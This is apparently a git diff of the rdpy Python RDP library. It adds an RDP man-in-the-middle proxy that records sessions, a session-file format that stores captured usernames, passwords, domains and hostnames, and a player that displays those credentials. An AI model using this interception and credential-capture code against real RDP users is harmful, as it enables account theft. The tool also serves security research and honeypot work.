def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@summary: Build ProxyAdmin
|
||||
@param controller: rdp.RDPServerController
|
||||
@param addr: destination address
|
||||
@return: ProxyAdmin
|
||||
@see: rdp.ServerFactory.buildObserver
|
||||
"""
|
||||
return Shadow(controller)
|
||||
|
||||
def help():
|
||||
"""
|
||||
@summary: Print help in console
|
||||
"""
|
||||
print "Usage: rdpy-rdpproxy -t target_ip[:target_port] [-k private_key_file_path (mandatory for SSL)] [-c certificate_file_path (mandatory for SSL)] [-i admin_ip[:admin_port]] listen_port"
|
||||
print """
|
||||
Usage: rdpy-rdpmitm.py -o output_directory target
|
||||
[-l listen_port default 3389]
|
||||
[-k private_key_file_path (mandatory for SSL)]
|
||||
[-c certificate_file_path (mandatory for SSL)]
|
||||
[-r RDP standard security (XP or server 2003 client or older)]
|
||||
"""
|
||||
|
||||
def parseIpPort(interface, defaultPort = "3389"):
|
||||
if ':' in interface:
|
||||
return interface.split(':')
|
||||
else:
|
||||
return interface, defaultPort
|
||||
|
||||
def nowConnected():
|
||||
log.info("*" * 50)
|
||||
log.info("Now connected")
|
||||
log.info(ProxyServer._SESSIONS_.keys())
|
||||
log.info("*" * 50)
|
||||
|
||||
if __name__ == '__main__':
|
||||
target = None
|
||||
listen = "3389"
|
||||
privateKeyFilePath = None
|
||||
certificateFilePath = None
|
||||
shadowInterface = None
|
||||
ouputDirectory = None
|
||||
clientSecurity = "ssl"
|
||||
|
||||
try:
|
||||
opts, args = getopt.getopt(sys.argv[1:], "ht:k:c:i:")
|
||||
opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:o:r")
|
||||
except getopt.GetoptError:
|
||||
help()
|
||||
for opt, arg in opts:
|
||||
if opt == "-h":
|
||||
help()
|
||||
sys.exit()
|
||||
elif opt == "-t":
|
||||
target = arg
|
||||
elif opt == "-l":
|
||||
listen = arg
|
||||
elif opt == "-k":
|
||||
privateKeyFilePath = arg
|
||||
elif opt == "-c":
|
||||
certificateFilePath = arg
|
||||
elif opt == "-i":
|
||||
shadowInterface = arg
|
||||
elif opt == "-o":
|
||||
ouputDirectory = arg
|
||||
elif opt == "-r":
|
||||
clientSecurity = "rdp"
|
||||
|
||||
if target is None:
|
||||
log.error("Target is mandatory")
|
||||
if ouputDirectory is None or not os.path.dirname(ouputDirectory):
|
||||
log.error("%s is an invalid output directory"%ouputDirectory)
|
||||
help()
|
||||
sys.exit()
|
||||
|
||||
reactor.listenTCP(int(args[0]), ProxyServerFactory(parseIpPort(target), privateKeyFilePath, certificateFilePath))
|
||||
|
||||
if not shadowInterface is None:
|
||||
shadowInterface, shadowPort = parseIpPort(shadowInterface)
|
||||
log.info("Shadow listener on %s:%s"%(shadowInterface, shadowPort))
|
||||
reactor.listenTCP(int(shadowPort), ShadowFactory(privateKeyFilePath, certificateFilePath), interface = shadowInterface)
|
||||
|
||||
reactor.listenTCP(int(listen), ProxyServerFactory(parseIpPort(args[0]), ouputDirectory, privateKeyFilePath, certificateFilePath, clientSecurity))
|
||||
reactor.run()
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
99
bin/rdpy-rssplayer.py
Executable file
99
bin/rdpy-rssplayer.py
Executable file
@@ -0,0 +1,99 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
# rdpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
"""
|
||||
rss file player
|
||||
"""
|
||||
|
||||
import sys, os, getopt, socket
|
||||
|
||||
from PyQt4 import QtGui, QtCore
|
||||
|
||||
from rdpy.core import log, rss
|
||||
from rdpy.ui.qt4 import QRemoteDesktop, RDPBitmapToQtImage
|
||||
log._LOG_LEVEL = log.Level.INFO
|
||||
|
||||
class RssPlayerWidget(QRemoteDesktop):
|
||||
"""
|
||||
@summary: special rss player widget
|
||||
"""
|
||||
def __init__(self, width, height):
|
||||
class RssAdaptor(object):
|
||||
def sendMouseEvent(self, e, isPressed):
|
||||
""" Not Handle """
|
||||
def sendKeyEvent(self, e, isPressed):
|
||||
""" Not Handle """
|
||||
def sendWheelEvent(self, e):
|
||||
""" Not Handle """
|
||||
def closeEvent(self, e):
|
||||
""" Not Handle """
|
||||
QRemoteDesktop.__init__(self, width, height, RssAdaptor())
|
||||
|
||||
def drawInfos(self, domain, username, password, hostname):
|
||||
QtGui.QMessageBox.about(self, "Credentials Event", "domain : %s\nusername : %s\npassword : %s\nhostname : %s" % (
|
||||
domain, username, password, hostname))
|
||||
|
||||
def help():
|
||||
print "Usage: rdpy-rssplayer [-h] rss_filepath"
|
||||
|
||||
def start(widget, rssFile):
|
||||
loop(widget, rssFile, rssFile.nextEvent())
|
||||
|
||||
def loop(widget, rssFile, nextEvent):
|
||||
"""
|
||||
@summary: timer function
|
||||
@param widget: {QRemoteDesktop}
|
||||
@param rssFile: {rss.FileReader}
|
||||
"""
|
||||
|
||||
if nextEvent.type.value == rss.EventType.UPDATE:
|
||||
image = RDPBitmapToQtImage(nextEvent.event.width.value, nextEvent.event.height.value, nextEvent.event.bpp.value, nextEvent.event.format.value == rss.UpdateFormat.BMP, nextEvent.event.data.value);
|
||||
widget.notifyImage(nextEvent.event.destLeft.value, nextEvent.event.destTop.value, image, nextEvent.event.destRight.value - nextEvent.event.destLeft.value + 1, nextEvent.event.destBottom.value - nextEvent.event.destTop.value + 1)
|
||||
|
||||
elif nextEvent.type.value == rss.EventType.SCREEN:
|
||||
widget.resize(nextEvent.event.width.value, nextEvent.event.height.value)
|
||||
|
||||
elif nextEvent.type.value == rss.EventType.INFO:
|
||||
widget.drawInfos(nextEvent.event.domain.value, nextEvent.event.username.value, nextEvent.event.password.value, nextEvent.event.hostname.value)
|
||||
|
||||
elif nextEvent.type.value == rss.EventType.CLOSE:
|
||||
widget.close()
|
||||
return
|
||||
|
||||
e = rssFile.nextEvent()
|
||||
QtCore.QTimer.singleShot(e.timestamp.value,lambda:loop(widget, rssFile, e))
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
opts, args = getopt.getopt(sys.argv[1:], "h")
|
||||
except getopt.GetoptError:
|
||||
help()
|
||||
for opt, arg in opts:
|
||||
if opt == "-h":
|
||||
help()
|
||||
sys.exit()
|
||||
|
||||
filepath = args[0]
|
||||
#create application
|
||||
app = QtGui.QApplication(sys.argv)
|
||||
widget = RssPlayerWidget(800, 600)
|
||||
widget.show()
|
||||
rssFile = rss.createReader(filepath)
|
||||
start(widget, rssFile)
|
||||
sys.exit(app.exec_())
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
255
rdpy/core/rss.py
Normal file
255
rdpy/core/rss.py
Normal file
@@ -0,0 +1,255 @@
|
||||
#
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
# rdpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
"""
|
||||
Remote Session Scenario File format
|
||||
Private protocol format to save events
|
||||
"""
|
||||
|
||||
from rdpy.core.type import CompositeType, FactoryType, UInt8, UInt16Le, UInt32Le, String, sizeof, Stream
|
||||
from rdpy.core import log, error
|
||||
import time
|
||||
|
||||
class EventType(object):
|
||||
"""
|
||||
@summary: event type
|
||||
"""
|
||||
UPDATE = 0x0001
|
||||
SCREEN = 0x0002
|
||||
INFO = 0x0003
|
||||
CLOSE = 0x0004
|
||||
|
||||
class UpdateFormat(object):
|
||||
"""
|
||||
@summary: format of update bitmap
|
||||
"""
|
||||
RAW = 0x01
|
||||
BMP = 0x02
|
||||
|
||||
class Event(CompositeType):
|
||||
"""
|
||||
@summary: A recorded event
|
||||
"""
|
||||
def __init__(self, event = None):
|
||||
CompositeType.__init__(self)
|
||||
self.type = UInt16Le(lambda:event.__class__._TYPE_)
|
||||
self.timestamp = UInt32Le()
|
||||
self.length = UInt32Le(lambda:(sizeof(self) - 10))
|
||||
|
||||
def EventFactory():
|
||||
"""
|
||||
@summary: Closure for event factory
|
||||
"""
|
||||
for c in [UpdateEvent, ScreenEvent, InfoEvent, CloseEvent]:
|
||||
if self.type.value == c._TYPE_:
|
||||
return c(readLen = self.length)
|
||||
log.debug("unknown event type : %s"%hex(self.type.value))
|
||||
#read entire packet
|
||||
return String(readLen = self.length)
|
||||
|
||||
if event is None:
|
||||
event = FactoryType(EventFactory)
|
||||
elif not "_TYPE_" in event.__class__.__dict__:
|
||||
raise error.InvalidExpectedDataException("Try to send an invalid event block")
|
||||
|
||||
self.event = event
|
||||
|
||||
class UpdateEvent(CompositeType):
|
||||
"""
|
||||
@summary: Update event
|
||||
"""
|
||||
_TYPE_ = EventType.UPDATE
|
||||
def __init__(self, readLen = None):
|
||||
CompositeType.__init__(self, readLen = readLen)
|
||||
self.destLeft = UInt16Le()
|
||||
self.destTop = UInt16Le()
|
||||
self.destRight = UInt16Le()
|
||||
self.destBottom = UInt16Le()
|
||||
self.width = UInt16Le()
|
||||
self.height = UInt16Le()
|
||||
self.bpp = UInt8()
|
||||
self.format = UInt8()
|
||||
self.length = UInt32Le(lambda:sizeof(self.data))
|
||||
self.data = String(readLen = self.length)
|
||||
|
||||
class InfoEvent(CompositeType):
|
||||
"""
|
||||
@summary: Info event
|
||||
"""
|
||||
_TYPE_ = EventType.INFO
|
||||
def __init__(self, readLen = None):
|
||||
CompositeType.__init__(self, readLen = readLen)
|
||||
self.lenUsername = UInt16Le(lambda:sizeof(self.username))
|
||||
self.username = String(readLen = self.lenUsername)
|
||||
self.lenPassword = UInt16Le(lambda:sizeof(self.password))
|
||||
self.password = String(readLen = self.lenPassword)
|
||||
self.lenDomain = UInt16Le(lambda:sizeof(self.domain))
|
||||
self.domain = String(readLen = self.lenDomain)
|
||||
self.lenHostname = UInt16Le(lambda:sizeof(self.hostname))
|
||||
self.hostname = String(readLen = self.lenHostname)
|
||||
|
||||
class ScreenEvent(CompositeType):
|
||||
"""
|
||||
@summary: screen information event
|
||||
"""
|
||||
_TYPE_ = EventType.SCREEN
|
||||
def __init__(self, readLen = None):
|
||||
CompositeType.__init__(self, readLen = readLen)
|
||||
self.width = UInt16Le()
|
||||
self.height = UInt16Le()
|
||||
self.colorDepth = UInt8()
|
||||
|
||||
class CloseEvent(CompositeType):
|
||||
"""
|
||||
@summary: end of session event
|
||||
"""
|
||||
_TYPE_ = EventType.CLOSE
|
||||
def __init__(self, readLen = None):
|
||||
CompositeType.__init__(self, readLen = readLen)
|
||||
|
||||
def timeMs():
|
||||
"""
|
||||
@return: {int} time stamp in milliseconds
|
||||
"""
|
||||
return int(time.time() * 1000)
|
||||
|
||||
class FileRecorder(object):
|
||||
"""
|
||||
@summary: RSR File recorder
|
||||
"""
|
||||
def __init__(self, f):
|
||||
"""
|
||||
@param f: {file} file pointer use to write
|
||||
"""
|
||||
self._file = f
|
||||
#init timer
|
||||
self._lastEventTimer = timeMs()
|
||||
|
||||
def rec(self, event):
|
||||
"""
|
||||
@summary: save event in file
|
||||
@param event: {UpdateEvent}
|
||||
"""
|
||||
|
||||
now = timeMs()
|
||||
#wrap around event message
|
||||
e = Event(event)
|
||||
#timestamp is time since last event
|
||||
e.timestamp.value = now - self._lastEventTimer
|
||||
self._lastEventTimer = now
|
||||
|
||||
s = Stream()
|
||||
s.writeType(e)
|
||||
|
||||
self._file.write(s.getvalue())
|
||||
|
||||
def update(self, destLeft, destTop, destRight, destBottom, width, height, bpp, upateFormat, data):
|
||||
"""
|
||||
@summary: record update event
|
||||
@param destLeft: {int} xmin position
|
||||
@param destTop: {int} ymin position
|
||||
@param destRight: {int} xmax position because RDP can send bitmap with padding
|
||||
@param destBottom: {int} ymax position because RDP can send bitmap with padding
|
||||
@param width: {int} width of bitmap
|
||||
@param height: {int} height of bitmap
|
||||
@param bpp: {int} number of bit per pixel
|
||||
@param upateFormat: {UpdateFormat} use RLE compression
|
||||
@param data: {str} bitmap data
|
||||
"""
|
||||
updateEvent = UpdateEvent()
|
||||
updateEvent.destLeft.value = destLeft
|
||||
updateEvent.destTop.value = destTop
|
||||
updateEvent.destRight.value = destRight
|
||||
updateEvent.destBottom.value = destBottom
|
||||
updateEvent.width.value = width
|
||||
updateEvent.height.value = height
|
||||
updateEvent.bpp.value = bpp
|
||||
updateEvent.format.value = upateFormat
|
||||
updateEvent.data.value = data
|
||||
self.rec(updateEvent)
|
||||
|
||||
def screen(self, width, height, colorDepth):
|
||||
"""
|
||||
@summary: record resize event of screen (maybe first event)
|
||||
@param width: {int} width of screen
|
||||
@param height: {int} height of screen
|
||||
@param colorDepth: {int} colorDepth
|
||||
"""
|
||||
screenEvent = ScreenEvent()
|
||||
screenEvent.width.value = width
|
||||
screenEvent.height.value = height
|
||||
screenEvent.colorDepth.value = colorDepth
|
||||
self.rec(screenEvent)
|
||||
|
||||
def credentials(self, username, password, domain = "", hostname = ""):
|
||||
"""
|
||||
@summary: Record informations event
|
||||
@param username: {str} username of session
|
||||
@param password: {str} password of session
|
||||
@param domain: {str} domain of session
|
||||
@param hostname: {str} hostname of session
|
||||
"""
|
||||
infoEvent = InfoEvent()
|
||||
infoEvent.username.value = username
|
||||
infoEvent.password.value = password
|
||||
infoEvent.domain.value = domain
|
||||
infoEvent.hostname.value = hostname
|
||||
self.rec(infoEvent)
|
||||
|
||||
def close(self):
|
||||
"""
|
||||
@summary: end of scenario
|
||||
"""
|
||||
self.rec(CloseEvent())
|
||||
|
||||
class FileReader(object):
|
||||
"""
|
||||
@summary: RSR File reader
|
||||
"""
|
||||
def __init__(self, f):
|
||||
"""
|
||||
@param f: {file} file pointer use to read
|
||||
"""
|
||||
self._s = Stream(f.read())
|
||||
|
||||
def nextEvent(self):
|
||||
"""
|
||||
@summary: read next event and return it
|
||||
"""
|
||||
if self._s.dataLen() == 0:
|
||||
return None
|
||||
e = Event()
|
||||
self._s.readType(e)
|
||||
return e
|
||||
|
||||
def createRecorder(path):
|
||||
"""
|
||||
@summary: open file from path and return FileRecorder
|
||||
@param path: {str} path of output file
|
||||
@return: {FileRecorder}
|
||||
"""
|
||||
return FileRecorder(open(path, "wb"))
|
||||
|
||||
def createReader(path):
|
||||
"""
|
||||
@summary: open file from path and return FileReader
|
||||
@param path: {str} path of input file
|
||||
@return: {FileReader}
|
||||
"""
|
||||
return FileReader(open(path, "rb"))
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
@@ -331,6 +331,8 @@ class LicenseManager(object):
|
||||
#decrypt server challenge
|
||||
#it should be TEST word in unicode format
|
||||
serverChallenge = rc4.crypt(rc4.RC4Key(self._licenseKey), serverEncryptedChallenge)
|
||||
if serverChallenge != "T\x00E\x00S\x00T\x00\x00\x00":
|
||||
raise InvalidExpectedDataException("bad license server challenge")
|
||||
|
||||
#generate hwid
|
||||
s = Stream()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
@@ -60,12 +60,6 @@ class QAdaptor(object):
|
||||
"""
|
||||
raise CallPureVirtualFuntion("%s:%s defined by interface %s"%(self.__class__, "sendWheelEvent", "QAdaptor"))
|
||||
|
||||
def getWidget(self):
|
||||
"""
|
||||
@return: widget use for render
|
||||
"""
|
||||
raise CallPureVirtualFuntion("%s:%s defined by interface %s"%(self.__class__, "getWidget", "QAdaptor"))
|
||||
|
||||
def closeEvent(self, e):
|
||||
"""
|
||||
@summary: Call when you want to close connection
|
||||
@@ -94,7 +88,7 @@ class RFBClientQt(RFBClientObserver, QAdaptor):
|
||||
@param height: height of widget
|
||||
"""
|
||||
RFBClientObserver.__init__(self, controller)
|
||||
self._widget = QRemoteDesktop(self, 1024, 800)
|
||||
self._widget = QRemoteDesktop(1024, 800, self)
|
||||
|
||||
def getWidget(self):
|
||||
"""
|
||||
@@ -185,7 +179,7 @@ class RFBClientQt(RFBClientObserver, QAdaptor):
|
||||
#do something maybe a message
|
||||
pass
|
||||
|
||||
def RDPBitmapToQtImage(destLeft, width, height, bitsPerPixel, isCompress, data):
|
||||
def RDPBitmapToQtImage(width, height, bitsPerPixel, isCompress, data):
|
||||
"""
|
||||
@summary: Bitmap transformation to Qt object
|
||||
@param width: width of bitmap
|
||||
@@ -239,12 +233,12 @@ class RDPClientQt(RDPClientObserver, QAdaptor):
|
||||
"""
|
||||
def __init__(self, controller, width, height):
|
||||
"""
|
||||
@param controller: RDP controller
|
||||
@param width: width of widget
|
||||
@param height: height of widget
|
||||
@param controller: {RDPClientController} RDP controller
|
||||
@param width: {int} width of widget
|
||||
@param height: {int} height of widget
|
||||
"""
|
||||
RDPClientObserver.__init__(self, controller)
|
||||
self._widget = QRemoteDesktop(self, width, height)
|
||||
self._widget = QRemoteDesktop(width, height, self)
|
||||
#set widget screen to RDP stack
|
||||
controller.setScreen(width, height)
|
||||
|
||||
@@ -299,17 +293,17 @@ class RDPClientQt(RDPClientObserver, QAdaptor):
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
"""
|
||||
@summary: Notify bitmap update
|
||||
@param destLeft: xmin position
|
||||
@param destTop: ymin position
|
||||
@param destRight: xmax position because RDP can send bitmap with padding
|
||||
@param destBottom: ymax position because RDP can send bitmap with padding
|
||||
@param width: width of bitmap
|
||||
@param height: height of bitmap
|
||||
@param bitsPerPixel: number of bit per pixel
|
||||
@param isCompress: use RLE compression
|
||||
@param data: bitmap data
|
||||
@param destLeft: {int} xmin position
|
||||
@param destTop: {int} ymin position
|
||||
@param destRight: {int} xmax position because RDP can send bitmap with padding
|
||||
@param destBottom: {int} ymax position because RDP can send bitmap with padding
|
||||
@param width: {int} width of bitmap
|
||||
@param height: {int} height of bitmap
|
||||
@param bitsPerPixel: {int} number of bit per pixel
|
||||
@param isCompress: {bool} use RLE compression
|
||||
@param data: {str} bitmap data
|
||||
"""
|
||||
image = RDPBitmapToQtImage(destLeft, width, height, bitsPerPixel, isCompress, data);
|
||||
image = RDPBitmapToQtImage(width, height, bitsPerPixel, isCompress, data);
|
||||
#if image need to be cut
|
||||
#For bit alignement server may send more than image pixel
|
||||
self._widget.notifyImage(destLeft, destTop, image, destRight - destLeft + 1, destBottom - destTop + 1)
|
||||
@@ -319,23 +313,23 @@ class RDPClientQt(RDPClientObserver, QAdaptor):
|
||||
@summary: Call when stack is ready
|
||||
"""
|
||||
#do something maybe a loader
|
||||
pass
|
||||
|
||||
def onClose(self):
|
||||
"""
|
||||
@summary: Call when stack is close
|
||||
"""
|
||||
#do something maybe a message
|
||||
pass
|
||||
|
||||
|
||||
class QRemoteDesktop(QtGui.QWidget):
|
||||
"""
|
||||
@summary: Qt display widget
|
||||
"""
|
||||
def __init__(self, adaptor, width, height):
|
||||
def __init__(self, width, height, adaptor):
|
||||
"""
|
||||
@param adaptor: QAdaptor
|
||||
@param adaptor: {QAdaptor}
|
||||
@param width: {int} width of widget
|
||||
@param height: {int} height of widget
|
||||
"""
|
||||
super(QRemoteDesktop, self).__init__()
|
||||
#adaptor use to send
|
||||
@@ -365,6 +359,15 @@ class QRemoteDesktop(QtGui.QWidget):
|
||||
#force update
|
||||
self.update()
|
||||
|
||||
def resize(self, width, height):
|
||||
"""
|
||||
@summary: override resize function
|
||||
@param width: {int} width of widget
|
||||
@param height: {int} height of widget
|
||||
"""
|
||||
self._buffer = QtGui.QImage(width, height, QtGui.QImage.Format_RGB32)
|
||||
QtGui.QWidget.resize(self, width, height)
|
||||
|
||||
def paintEvent(self, e):
|
||||
"""
|
||||
@summary: Call when Qt renderer engine estimate that is needed
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2014 Sylvain Peyrefitte
|
||||
# Copyright (c) 2014-2015 Sylvain Peyrefitte
|
||||
#
|
||||
# This file is part of rdpy.
|
||||
#
|
||||
|
||||
20
setup.py
20
setup.py
@@ -4,11 +4,20 @@ import setuptools
|
||||
from distutils.core import setup, Extension
|
||||
|
||||
setup(name='rdpy',
|
||||
version='1.2.0',
|
||||
version='1.2.1',
|
||||
description='Remote Desktop Protocol in Python',
|
||||
long_description="""
|
||||
RDPY is a pure Python implementation of the Microsoft RDP (Remote Desktop Protocol) protocol.
|
||||
RDPY is a pure Python implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (Client and Server side).
|
||||
RDPY is built over the event driven network engine Twisted.
|
||||
|
||||
RDPY provide RDP and VNC binaries :
|
||||
\t-RDP Man In The Middle proxy which record session
|
||||
\t-RDP Honeypot
|
||||
\t-RDP screenshoter
|
||||
\t-RDP client
|
||||
\t-VNC client
|
||||
\t-VNC screenshoter
|
||||
\t-RSS Player
|
||||
""",
|
||||
author='Sylvain Peyrefitte',
|
||||
author_email='citronneur@gmail.com',
|
||||
@@ -25,9 +34,11 @@ setup(name='rdpy',
|
||||
],
|
||||
ext_modules=[Extension('rle', ['ext/rle.c'])],
|
||||
scripts = [
|
||||
'bin/rdpy-rdpclient.py',
|
||||
'bin/rdpy-rdpproxy.py',
|
||||
'bin/rdpy-rdpclient.py',
|
||||
'bin/rdpy-rdphoneypot.py',
|
||||
'bin/rdpy-rdpmitm.py',
|
||||
'bin/rdpy-rdpscreenshot.py',
|
||||
'bin/rdpy-rssplayer.py',
|
||||
'bin/rdpy-vncclient.py',
|
||||
'bin/rdpy-vncscreenshot.py'
|
||||
],
|
||||
@@ -37,5 +48,6 @@ setup(name='rdpy',
|
||||
'service_identity',
|
||||
'qt4reactor',
|
||||
'rsa',
|
||||
'pyasn1',
|
||||
],
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user